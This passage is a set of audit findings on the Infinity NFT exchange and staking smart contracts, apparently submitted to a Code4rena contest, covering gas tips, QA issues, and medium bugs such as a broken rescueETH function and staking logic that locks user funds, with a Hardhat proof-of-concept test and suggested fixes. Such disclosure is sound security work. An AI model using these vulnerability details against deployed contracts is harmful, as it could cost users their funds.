Affected source code:

Recommended Mitigation Steps

  • Avoid accidentally sending ether by removing the receive and fallback method, otherwise the owner is in charge of MAYBE return the funds.

QA Report

Low

Centralized risks

Owner can change the thresholds wherever he wants.

Also he can change the penalties, and it could facilitate a front-running issues with bad actors.

PROTOCOL_FEE_BPS could be higher than factor (10_000) and it could facilitate a front-running or denial of services with bad actors.

Unfair staking increase

If the user makes any changes or changeDuration, the staking timestamp is reset and loses all the time already spent in the previous deposit.

Affected source code:

No compatible with fee tokens

The current lock logic does not contemplate ERC20 tokens with fee during the transferFrom, therefore, the amount received by BribeVault will be less than the expected.

Some tokens may implement a fee during transfers, this is the case of USDT, even though the project has currently set it to 0. So, the transferFrom function would return true despite receiving less than expected.

It's recommended to use balance difference in:

Ownable / Pausable

The contract InfinityStaker is Ownable and Pausable, so the owner could resign while the contract is paused, causing a Denial of Service. Owner resignation while paused should be avoided.

Affected source code:

Lack of ACK during owner change

It's possible to lose the ownership under specific circumstances.

Because an human error it's possible to set a new invalid owner. When you want to change the owner's address it's better to propose a new owner, and then accept this ownership with the new wallet.

Affected source code:

requestChange(ADMIN,X):

Ownable:

Lack of checks

The following methods have a lack checks if the received argument is an address, it's good practice in order to reduce human error to check that the address specified in the constructor or initialize is different than address(0).

Affected source code:

address(0):

Integer values:

Non critical

Update packages

The packages used are out of date, it is good practice to use the latest version of these packages:

"@openzeppelin/contracts": "4.5.0"

Use encode instead of encodePacked for hashig

Use of abi.encodePacked in ConnextMessage is safe, but unnecessary and not recommended. abi.encodePacked can result in hash collisions when used with two dynamic arguments (string/bytes).

There is also discussion of removing abi.encodePacked from future versions of Solidity (ethereum/solidity#11593), so using abi.encode now will ensure compatibility in the future.

Affected source code:

Gas Optimizations

Variables: No need to explicitly initialize variables with default values

If a variable is not set/initialized, it is assumed to have the default value (0 for uint, false for bool, address(0) for address…). Explicitly initializing it with its default value is an anti-pattern and wastes gas.

We can use uint number; instead of uint number = 0;

Instance Includes:

contracts/core/InfinityOrderBookComplication.sol:197:    uint256 numConstructedItems = 0;
contracts/core/InfinityOrderBookComplication.sol:214:    uint256 numTakerItems = 0;
contracts/core/InfinityOrderBookComplication.sol:244:    uint256 numCollsMatched = 0;
contracts/core/InfinityOrderBookComplication.sol:289:    uint256 numTokenIdsPerCollMatched = 0;
contracts/core/InfinityOrderBookComplication.sol:318:    uint256 sum = 0;

contracts/core/InfinityOrderBookComplication.sol:42:    bool _isPriceValid = false;
contracts/core/InfinityOrderBookComplication.sol:108:    bool _isPriceValid = false;

Recommendation:

I suggest removing explicit initializations for default values.

ETH cannot be rescued

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1229
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L345

Vulnerability details

Impact

InfinityExchange.sol and InfinityStaker.sol contain a function rescueETH (InfinityExchange.sol#L1229 and InfinityStaker.sol#L345) to rescue any ETH that is accidentally sent to the contract.
However, these functions do not have an amount parameter and just send msg.value to the destination, i.e. the amount that was just sent to the function. Rescuing accidentally sent ETH is therefore not possible with these functions.

Recommended Mitigation Steps

Add an amount parameter to rescueETH.

Calling `unstake()` can cause locked funds

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/staking/InfinityStaker.sol#L290-L325

Vulnerability details

Impact

Following scenario:

Alice has staked X token for 6 months that have vested. She stakes Y tokens for another three months. If she now calls unstake(X) to take out the tokens that have vested, the Y tokens she staked for three months will be locked up.

Proof of Concept

First, here's a test showcasing the issue:

  describe('should cause trouble', () => {
    it('should lock up funds', async function () {
      await approveERC20(signer1.address, token.address, amountStaked, signer1, infinityStaker.address);
      await infinityStaker.connect(signer1).stake(amountStaked, 2);
      await network.provider.send("evm_increaseTime", [181 * DAY]);
      await network.provider.send('evm_mine', []);
      
      // The funds we staked for 6 months have vested
      expect(await infinityStaker.getUserTotalVested(signer1.address)).to.eq(amountStaked);

      // Now we want to stake funds for three months
      await approveERC20(signer1.address, token.address, amountStaked2, signer1, infinityStaker.address);
      await infinityStaker.connect(signer1).stake(amountStaked2, 1);

      // total staked is now the funds staked for three & six months
      // total vested stays the same
      expect(await infinityStaker.getUserTotalStaked(signer1.address)).to.eq(amountStaked.add(amountStaked2));
      expect(await infinityStaker.getUserTotalVested(signer1.address)).to.eq(amountStaked);

      // we unstake the funds that are already vested.
      const userBalanceBefore = await token.balanceOf(signer1.address);
      await infinityStaker.connect(signer1).unstake(amountStaked);
      const userBalanceAfter = await token.balanceOf(signer1.address);

      expect(userBalanceAfter).to.eq(userBalanceBefore.add(amountStaked));

      expect(await infinityStaker.getUserTotalStaked(signer1.address)).to.eq(ethers.BigNumber.from(0));
      expect(await infinityStaker.getUserTotalVested(signer1.address)).to.eq(ethers.BigNumber.from(0));
    });
  });

The test implements the scenario I've described above. In the end, the user got back their amountStaked tokens with the amountStaked2 tokens being locked up in the contract. The user has no tokens staked at the end.

The issue is in the _updateUserStakedAmounts() function:

    if (amount > noVesting) {
      userstakedAmounts[user][Duration.NONE].amount = 0;
      userstakedAmounts[user][Duration.NONE].timestamp = 0;
      amount = amount - noVesting;
      if (amount > vestedThreeMonths) {
        // MAIN ISSUE:
        // here `vestedThreeMonths` is 0. The current staked tokens are set to `0` and `amount` is decreased by `0`.
        // Since `vestedThreeMonths` is `0` we shouldn't decrease `userstakedAmounts` at all here.
        userstakedAmounts[user][Duration.THREE_MONTHS].amount = 0;
        userstakedAmounts[user][Duration.THREE_MONTHS].timestamp = 0;
        amount = amount - vestedThreeMonths;
        // `amount == vestedSixMonths` so we enter the else block
        if (amount > vestedSixMonths) {
          userstakedAmounts[user][Duration.SIX_MONTHS].amount = 0;
          userstakedAmounts[user][Duration.SIX_MONTHS].timestamp = 0;
          amount = amount - vestedSixMonths;
          if (amount > vestedTwelveMonths) {
            userstakedAmounts[user][Duration.TWELVE_MONTHS].amount = 0;
            userstakedAmounts[user][Duration.TWELVE_MONTHS].timestamp = 0;
          } else {
            userstakedAmounts[user][Duration.TWELVE_MONTHS].amount -= amount;
          }
        } else {
          // the staked amount is set to `0`.
          userstakedAmounts[user][Duration.SIX_MONTHS].amount -= amount;
        }
      } else {
        userstakedAmounts[user][Duration.THREE_MONTHS].amount -= amount;
      }
    } else {
      userstakedAmounts[user][Duration.NONE].amount -= amount;
    }

Tools Used

none

Recommended Mitigation Steps

Don't set userstakedAmounts.amount to 0 if none of its tokens are removed (vestedAmount == 0)

InfinityStaker: The rescueETH function cannot rescue any ETH accidentally sent to the contract

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L345-L348

Vulnerability details

Impact

The rescueETH function of the InfinityStaker contract is used to withdraw the ether from the contract, but the value of .call is msg.value instead of this.balance, which prevents the owner from withdrawing the ether from the contract

Proof of Concept

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/staking/InfinityStaker.sol#L345-L348

Tools Used

None

Recommended Mitigation Steps

function rescueETH(address destination) external payable onlyOwner {
-    (bool sent, ) = destination.call{value: msg.value}(' ');
+   (bool sent, ) = destination.call{value: address(this).balance}('');
      require(sent, 'Failed to send Ether');
}

Gas Optimizations

Some real-world NFT tokens may support both ERC721 and ERC1155 standards, which may break `InfinityExchange::_transferNFTs`

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1062-L1072

Vulnerability details

Impact

Many real-world NFT tokens may support both ERC721 and ERC1155 standards, which may break InfinityExchange::_transferNFTs, i.e., transferring less tokens than expected.

For example, the asset token of The Sandbox Game, a Top20 ERC1155 token on Etherscan, supports both ERC1155 and ERC721 interfaces. Specifically, any ERC721 token transfer is regarded as an ERC1155 token transfer with only one item transferred (token address and implementation).

Assuming there is a user tries to buy two tokens of Sandbox's ASSETs with the same token id, the actual transferring is carried by InfinityExchange::_transferNFTs which first checks ERC721 interface supports and then ERC1155.

  function _transferNFTs(
    address from,
    address to,
    OrderTypes.OrderItem calldata item
  ) internal {
    if (IERC165(item.collection).supportsInterface(0x80ac58cd)) {
      _transferERC721s(from, to, item);
    } else if (IERC165(item.collection).supportsInterface(0xd9b67a26)) {
      _transferERC1155s(from, to, item);
    }
  }

The code will go into _transferERC721s instead of _transferERC1155s, since the Sandbox's ASSETs also support ERC721 interface. Then,

  function _transferERC721s(
    address from,
    address to,
    OrderTypes.OrderItem calldata item
  ) internal {
    uint256 numTokens = item.tokens.length;
    for (uint256 i = 0; i < numTokens; ) {
      IERC721(item.collection).safeTransferFrom(from, to, item.tokens[i].tokenId);
      unchecked {
        ++i;
      }
    }
  }

Since the ERC721(item.collection).safeTransferFrom is treated as an ERC1155 transferring with one item (reference), there is only one item actually gets traferred.

That means, the user, who barely know the implementation details of his NFTs, will pay the money for two items but just got one.

Note that the situation of combining ERC721 and ERC1155 is prevalent and poses a great vulnerability of the exchange contract.

Proof of Concept

Check the return values of Sandbox's ASSETs's supportInterface, both supportInterface(0x80ac58cd) and supportInterface(0xd9b67a26) return true.

Tools Used

Manual Inspection

Recommended Mitigation Steps

Reorder the checks,e.g.,

  function _transferNFTs(
    address from,
    address to,
    OrderTypes.OrderItem calldata item
  ) internal {
    if (IERC165(item.collection).supportsInterface(0xd9b67a26)) {
      _transferERC1155s(from, to, item);
    } else if (IERC165(item.collection).supportsInterface(0x80ac58cd)) {
      _transferERC721s(from, to, item);
    }
  }

KEY FUNCTIONS ON THE STAKING LOGIC WILL NEVER BE PAUSED

Lines of code

https://github.com/infinitydotxyz/exchange-contracts-v2/blob/c51b7e8af6f95cc0a3b5489369cbc7cee060434b/contracts/staking/InfinityStaker.sol#L67
https://github.com/infinitydotxyz/exchange-contracts-v2/blob/c51b7e8af6f95cc0a3b5489369cbc7cee060434b/contracts/staking/InfinityStaker.sol#L90
https://github.com/infinitydotxyz/exchange-contracts-v2/blob/c51b7e8af6f95cc0a3b5489369cbc7cee060434b/contracts/staking/InfinityStaker.sol#L116
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/109778c17c7020618ea4e035efb9f0f9b82d43ca/contracts/security/Pausable.sol

Vulnerability details

Relevant Functions and Lines of Code

InfinityStaker.stake L67
InfinityStaker.changeDuration L90
InfinityStaker.unstake L116

Pausable.constructor L44
Pausable._pause L89
Pausable._unpause L101

Impact

The InfinityStaker.stake, InfinityStaker.changeDuration & InfinityStaker.unstake functions rely on a pausable feature that will be always unpaused. This incur in a lack of the desired control over the contract. If the protocol is facing an attack or undesired behavior via the main functions of InfinityStaker, no countermeasures can be taken by pausing.

Proof of Concept

The implementation of Pausable.sol at 0.8.0 (can be viewed here) has the pausing and unpausing controls implemented as internal functions (_pause & _unpause). The lack of implementation of those internal functions prevent the owner to control the flow of how InfinityStaker.stake, InfinityStaker.changeDuration & InfinityStaker.unstake are going to be called. Once the contract is deployed, it will always be unpaused.

Supposing the following scenario:

  • The pool is facing an attack or detects undesired behavior on the staking system and needs to pause the functions mentioned before.
  • The owner wants to pause those functions, relying on the control gate that provides the whenNotPaused modifier.
  • Then, he realizes that there are no functions implemented that actually pause InfinityStaker.stake, InfinityStaker.changeDuration & InfinityStaker.unstake and the scenario from the first step cannot be mitigated.

The Pausable.sol abstract contract assigns the paused value as false while constructing. This is why if no implementations of the _pause & _unpause are done, the modifier whenNotPaused will always pass and it won't work as expected.

Recommended Mitigation Steps

Implementing an external function only callable by the owner that allows to pause and unpause the Pausable contract thus the used modifiers.

COLLECTED PENALTIES FROM STAKING RAGEQUITS CAN BE MISTAKENLY LOST

Lines of code

https://github.com/infinitydotxyz/exchange-contracts-v2/blob/c51b7e8af6f95cc0a3b5489369cbc7cee060434b/contracts/staking/InfinityStaker.sol#L375

Vulnerability details

Impact

A mistakenly input while changing the Infinity Treasury address can irreversibly loose the collected penalties from the ragequits within a timeframe.

Proof of Concept

The owner wants to change the address of the receiver of the collected penalties product of the staker ragequits. Because the function InfinityStaker.updateInfinityTreasury lacks from checks regarding the address input, if the address is wrong there are two possible scenarios regarding the owner:

  1. Gets noticed quickly of the mistake and call InfinityStaker.updateInfinityTreasury again with a correct address (having the chance of loosing the penalties that were transfered between that timeframe).
  2. Thinks that the new treasury address is correct and realizes of this mistake a few hours or even worse, days after making this change incurring in an irreversible penalties lost.

As a result of any scenario funds are lost. The amount lost will be determined by which case happens, the volume of the staking system and the rate of ragequits within the timeframe where the external treasury address was mistakenly set, among other relevant parameters.

Because the likelihood of this vulnerability does not depends on external factors but can convey in an irreversible lost of funds, it is considered a medium risk severity.

Recommended Mitigation Steps

  • Checking that the new address is not the address(0).
  • Adding an interlocked system based on two onlyOwner functions where first, the new treasury address is submitted via a function and then it has to be confirmed on a subsequent call. It can be a system similar to the commonly used transfer ownership - claim ownership.

Gas Optimizations

Use !=0 instead of >0 for UINT

0 is less efficient than != 0 for unsigned integers (with proof)
!= 0 costs less gas compared to > 0 for unsigned integers in require statements with the optimizer enabled (6 gas) Proof: While it may seem that > 0 is cheaper than !=, this is only true without the optimizer enabled and outside a require statement. If you enable the optimizer at 10k AND you’re in a require statement, this will save gas. You can see this tweet for more proofs: https://twitter.com/gzeon/status/1485428085885640706

Instances:

contracts/core/InfinityExchange.sol:392: require(numNonces > 0, 'cannot be empty');

Reference:

https://twitter.com/gzeon/status/1485428085885640706

Remediation:

I suggest changing > 0 with != 0. Also, please enable the Optimizer.

Users can loose ETH buying NFT's using `InfinityExchange#takeOrders()` and `InfinityExchange#takeMultipleOneOrders()`

Lines of code

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L326
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L362

Vulnerability details

Description

Users executing a maker order to buy a NFT can loose ETH when using the takeOrders() or takeMultipleOneOrders() functions.

This is due to a require statement checking that msg.value >= totalPrice.

This leads to the possiblity for a user to accidently overpay for a NFT, without possibility to receive the overpayed ETH amount back.

Impact

The impact is MEDIUM as this issue can lead to a loss of funds for users.

Recommendation

Refactor the require statements to check that the exact amount of ETH for the trade was send, i.e.

require(msg.value == totalPrice, "invalid total price");

Gas Optimizations

Hi team , below is detailed report of gas optimization issues and possible mitigations.

[G 01] Use multiple require instead of && to save gas

IMPACT

Require statements including conditions with the && operator can be broken down in
multiple require statements to save gas.

POC

Vulnerable location:

./core/InfinityExchange.sol:264:    require(numSells == buys.length && numSells == constructs.length, 'mismatched lengths');
./core/InfinityExchange.sol:949:    require(makerOrderValid && executionValid, 'order not verified');

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L264
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#949

MITIGATION

Breakdown each condition in a separate require

require(numSells == buys.length,'mismatched lengths');
require(numSells == constructs.length, 'mismatched lengths');

[G-02] No need to explicitly initialize variables with default values

If a variable is not set/initialized, it is assumed to have the default value (0 for uint, false for bool, address(0) for address…). Explicitly initializing it with its default value is an anti-pattern and wastes gas.

POC

core/InfinityExchange.sol:148:    for (uint256 i = 0; i < numMakerOrders; ) {
core/InfinityExchange.sol:200:      for (uint256 i = 0; i < ordersLength; ) {
core/InfinityExchange.sol:219:      for (uint256 i = 0; i < ordersLength; ) {
core/InfinityExchange.sol:272:    for (uint256 i = 0; i < numSells; ) {
core/InfinityExchange.sol:308:    for (uint256 i = 0; i < numMakerOrders; ) {
core/InfinityExchange.sol:349:    for (uint256 i = 0; i < ordersLength; ) {
core/InfinityExchange.sol:393:    for (uint256 i = 0; i < numNonces; ) {
core/InfinityExchange.sol:1048:    for (uint256 i = 0; i < numNfts; ) {
core/InfinityExchange.sol:1086:    for (uint256 i = 0; i < numTokens; ) {
core/InfinityExchange.sol:1109:    for (uint256 i = 0; i < numNfts; ) {
core/InfinityExchange.sol:1190:    for (uint256 i = 0; i < numNfts; ) {
core/InfinityExchange.sol:1206:    for (uint256 i = 0; i < numTokens; ) {
core/InfinityOrderBookComplication.sol:76:    for (uint256 i = 0; i < ordersLength; ) {
core/InfinityOrderBookComplication.sol:82:      for (uint256 j = 0; j < nftsLength; ) {
core/InfinityOrderBookComplication.sol:197:    uint256 numConstructedItems = 0;
core/InfinityOrderBookComplication.sol:199:    for (uint256 i = 0; i < nftsLength; ) {
core/InfinityOrderBookComplication.sol:214:    uint256 numTakerItems = 0;
core/InfinityOrderBookComplication.sol:216:    for (uint256 i = 0; i < nftsLength; ) {
core/InfinityOrderBookComplication.sol:244:    uint256 numCollsMatched = 0;
core/InfinityOrderBookComplication.sol:246:    for (uint256 i = 0; i < order2NftsLength; ) {
core/InfinityOrderBookComplication.sol:247:      for (uint256 j = 0; j < order1NftsLength; ) {
core/InfinityOrderBookComplication.sol:289:    uint256 numTokenIdsPerCollMatched = 0;
core/InfinityOrderBookComplication.sol:290:    for (uint256 k = 0; k < item2TokensLength; ) {
core/InfinityOrderBookComplication.sol:291:      for (uint256 l = 0; l < item1TokensLength; ) {
core/InfinityOrderBookComplication.sol:318:    uint256 sum = 0;
core/InfinityOrderBookComplication.sol:320:    for (uint256 i = 0; i < ordersLength; ) {


https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L148
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L200
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L219
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L272
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L308
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L349
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L393
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1048
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1086
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1109
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1190
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L1206

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L76
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L82
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L197
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L199
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L214
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L216
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L244
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L246
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L247
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L289
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L290
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L291
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L318
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L320

Mitigation

As an example: for (uint256 i = 0; i < ordersLength;) { should be replaced with for (uint256 i; i < ordersLength;) {

[G-03] > 0 costs more gas than != 0 for unsigned integers

!= 0 costs less gas compared to > 0 for unsigned integers in require statements with the optimizer enabled (6 gas)
Proof: While it may seem that > 0 is cheaper than !=, this is only true without the optimizer enabled and outside a require statement. If you enable the optimizer at 10k AND you're in a require statement, this will save gas. You can see this tweet for more proofs: https://twitter.com/gzeon/status/1485428085885640706

Vulnerable Location:

core/InfinityExchange.sol:392:    require(numNonces > 0, 'cannot be empty');

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L392

MITIGATION

Change > 0 with != 0

[G-04] Comparison Operators

Problem

In the EVM, there is no opcode for >= or <=. When using greater than or equal, two operations are performed: > and =
Using strict comparison operators hence saves gas

POC

InfinityExchange.sol:

core/InfinityExchange.sol:312:        makerOrders[i].constraints[4] >= block.timestamp;
core/InfinityExchange.sol:311:      bool isTimeValid = makerOrders[i].constraints[3] <= block.timestamp &&
core/InfinityExchange.sol:326:      require(msg.value >= totalPrice, 'invalid total price');
core/InfinityExchange.sol:362:      require(msg.value >= totalPrice, 'invalid total price');
core/InfinityExchange.sol:394:      require(orderNonces[i] >= userMinOrderNonce[msg.sender], 'nonce too low');

InfinityOrderBookComplication


core/InfinityOrderBookComplication.sol:38:    bool _isTimeValid = makerOrder2.constraints[3] <= block.timestamp &&
core/InfinityOrderBookComplication.sol:39:      makerOrder2.constraints[4] >= block.timestamp &&
core/InfinityOrderBookComplication.sol:40:      makerOrder1.constraints[3] <= block.timestamp &&
core/InfinityOrderBookComplication.sol:41:      makerOrder1.constraints[4] >= block.timestamp;
core/InfinityOrderBookComplication.sol:47:      _isPriceValid = makerOrder2Price >= makerOrder1Price;
core/InfinityOrderBookComplication.sol:50:      _isPriceValid = makerOrder1Price >= makerOrder2Price;
core/InfinityOrderBookComplication.sol:91:        manyMakerOrders[i].constraints[3] <= block.timestamp &&
core/InfinityOrderBookComplication.sol:92:        manyMakerOrders[i].constraints[4] >= block.timestamp;
core/InfinityOrderBookComplication.sol:102:      makerOrder.constraints[3] <= block.timestamp &&
core/InfinityOrderBookComplication.sol:103:      makerOrder.constraints[4] >= block.timestamp;
core/InfinityOrderBookComplication.sol:110:      _isPriceValid = sumCurrentOrderPrices >= currentMakerOrderPrice;
core/InfinityOrderBookComplication.sol:112:      _isPriceValid = sumCurrentOrderPrices <= currentMakerOrderPrice;
core/InfinityOrderBookComplication.sol:160:    return (makerOrder.constraints[3] <= block.timestamp &&
core/InfinityOrderBookComplication.sol:161:      makerOrder.constraints[4] >= block.timestamp &&
core/InfinityOrderBookComplication.sol:175:      sell.constraints[3] <= block.timestamp &&
core/InfinityOrderBookComplication.sol:176:      sell.constraints[4] >= block.timestamp &&
core/InfinityOrderBookComplication.sol:177:      buy.constraints[3] <= block.timestamp &&
core/InfinityOrderBookComplication.sol:178:      buy.constraints[4] >= block.timestamp;
core/InfinityOrderBookComplication.sol:188:    return (currentBuyPrice >= currentSellPrice, currentSellPrice);
core/InfinityOrderBookComplication.sol:205:    return numConstructedItems >= buy.constraints[0] && buy.constraints[0] <= sell.constraints[0];

https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L66
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L311
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L312
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L326
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L362
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L394
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L38
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L39
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L40
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L41
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L47
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L50
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L91
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L92
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L102
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L103
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L110
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L112
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L160
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L161
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L175
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L176
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L177
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L178
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L188
https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityOrderBookComplication.sol#L205

QA Report

Missing Zero-address Validation

Severity: Low
Context: InfinityExchange.sol#L104-L117, InfinityExchange.sol#L1235-L1257, InfinityStaker.sol#L49-L52, InfinityStaker.sol#L375-L377, InfinityToken.sol#L37-L56

Description:
Lack of zero-address validation on address parameters may lead to reverts and force contract redeployments.

Recommendation:
Add explicit zero-address validation on input parameters of address type.

Missing Equivalence Checks in Setters

Severity: Low
Context: InfinityExchange.sol#L1235-L1269, InfinityStaker.sol#L351-L377

Description:
Setter functions are missing checks to validate if the new value being set is the same as the current value already set in the contract. Such checks will showcase mismatches between on-chain and off-chain states.

Recommendation:
Add in the additional checks to validate if the new value being set is the same as the current value already set in the contract.

Missing Time locks

Severity: Low
Context: InfinityExchange.sol#L1235-L1252, InfinityStaker.sol#L351-L372

Description:
None of the onlyOwner functions that change critical protocol addresses/parameters appear to have a time lock for a time-delayed change to alert: (1) users and give them a chance to engage/exit protocol if they are not agreeable to the changes (2) team in case of compromised owner(s) and given them a chance to perform incident response.

Recommendation:
Add a time lock to these functions for a time-delayed change to alert users and protect against possible malicious changes by compromised owners(s).

Lack of Event Emission For Critical Functions

Severity: Low
Context: InfinityExchange.sol#L1220-L1257, InfinityStaker.sol#L345-L377

Description:
Several functions update critical parameters that are missing event emission. These should be performed to ensure tracking of changes of such critical parameters.

Recommendation:
Add events to functions that change critical parameters.

receive() Function Should Emit An Event

Severity: Low
Context: InfinityExchange.sol#L121, InfinityStaker.sol#L57

Description:
Consider emitting an event inside this function with msg.sender and msg.value as the parameters. This would make it easier to track incoming ether transfers.

Recommendation:
Add events to the receive() functions.

Unclear Revert Messages

Severity Informational
Context: InfinityExchange.sol#L263,

Description:
Some revert messages are unclear which can lead to confusion. Unclear revert messages may cause misunderstandings on reverted transactions.

Recommendation:
Make revert messages more clear.

Use Underscores for Number Literals

Severity: Informational
Context: InfinityExchange.sol#L61, InfinityStaker.sol#L33-L136

Description:
There are multiple occasions where certain numbers have been hardcoded, either in variables or in the code itself. Large numbers can become hard to read.

Recommendation:
Consider using underscores for number literals to improve its readability.

Unindexed Event Parameters

Severity Informational
Context: InfinityExchange.sol#L80-L102, InfinityToken.sol#L35

Description:
Parameters of certain events are expected to be indexed so that they’re included in the block’s bloom filter for faster access. Failure to do so might confuse off-chain tooling looking for such indexed events.

Recommendation:
Add the indexed keyword to event parameters that should include it.

Variable Naming Convention

Severity Informational
Context: InfinityStaker.sol#L23 (userstakedAmount => userStakedAmount), InfinityStaker.sol#L120 (vestedsixMonths => vestedSixMonths)

Description:
The linked variables do not conform to the standard naming convention of Solidity whereby functions and variable names utilize the camelCase format.

Recommendation:
Naming conventions utilized by the linked statements are adjusted to reflect the correct type of declaration according to the Solidity style guide.

Spelling Errors

Severity: Informational
Context: InfinityExchange.sol#L58 (adress => address), InfinityExchange.sol#L77 (storate => storage), InfinityExchange.sol#L1260 (updateWethTranferGas => updateWethTransferGas), InfinityOrderBookComplication.sol#L255 (dont => do not), InfinityStaker.sol#L112 (untake => Unstake)

Description:
Spelling errors in comments can cause confusion to both users and developers.

Recommendation:
Check all misspellings to ensure they are corrected.

Missing or Incomplete NatSpec

Severity: Informational
Context: All Contracts

Description:
Some functions are missing @notice/@dev NatSpec comments for the function, @param for all/some of their parameters and @return for return values. Given that NatSpec is an important part of code documentation, this affects code comprehension, auditability and usability.

Recommendation:
Add in full NatSpec comments for all functions to have complete code documentation for future use.

Be Aware of the Elastic Supply Tokens

Severity: Informational
Context: All Contracts

Description:
Elastic supply tokens could dynamically adjust their price, supply, user's balance, etc. Such a mechanism makes a DeFi system complex, while many security accidents are caused by the elastic tokens. For example, a DEX using deflationary token must double check the token transfer amount when taking swap action because of the difference of actual transfer amount and parameter.

Recommendation:
In terms of confidentiality, integrity and availability, it is highly recommend that one should not use elastic supply tokens.

Too Recent of a Pragma

Severity Informational
Context: All Contracts

Description:
Using too recent of a pragma is risky since they are not battle tested. A rise of a bug that wasn't known on release would cause either a hack or a need to secure funds and redeploy.

Recommendation:
Use a Pragma version that has been used for sometime. I would suggest 0.8.4 for the decrease of risk and still has the gas optimizations implemented.

rescueETH() function doesn't rescue ETH

Lines of code

